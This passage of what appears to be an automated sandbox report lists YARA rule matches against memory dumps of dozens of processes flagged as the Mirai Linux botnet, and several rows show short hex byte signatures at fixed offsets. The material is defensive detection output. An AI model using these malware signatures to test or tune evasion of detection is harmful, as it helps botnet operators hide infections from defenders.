6619.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6619.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6619.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6619.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6619.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6619.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6638.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6638.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6638.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6638.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6638.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6638.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7003.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7003.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7003.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7003.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7003.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7003.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6996.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6996.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6996.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6996.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6996.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6996.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7405.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7405.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7405.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7405.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7405.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7405.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7064.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7064.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7064.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7064.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7064.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7064.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7293.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7293.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7293.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7293.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7293.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7293.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6494.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6494.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6494.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6494.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6494.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6494.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6397.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6397.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6397.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6397.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6397.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6397.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6425.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6425.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6425.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6425.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6425.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6425.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7374.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7374.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7374.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7374.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7374.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7374.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7029.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7029.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7029.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7029.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7029.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7029.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6860.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6860.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6860.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6860.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6860.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6860.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6955.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7197.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6968.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6968.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6968.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6968.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6968.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6968.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6307.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6307.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6307.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6307.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6307.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6307.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6868.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6868.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6868.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6868.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6868.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6868.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6688.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6688.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6688.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6688.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6688.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6688.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6993.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6993.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6993.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6993.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6993.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6993.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6419.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6419.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6419.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6419.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6419.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6419.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6486.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6486.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6486.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6486.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6486.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6486.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6557.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6557.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6557.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6557.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6557.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6557.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7290.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7290.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7290.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7290.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7290.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7290.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6916.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6916.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6916.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6916.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6916.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6916.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7091.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7091.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7091.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7091.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7091.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7091.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6635.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6635.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6635.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6635.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6635.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6635.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6800.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6800.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6800.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6800.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6800.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6800.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7279.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7279.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7279.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7279.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7279.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7279.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6646.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6646.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6646.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6646.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6646.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
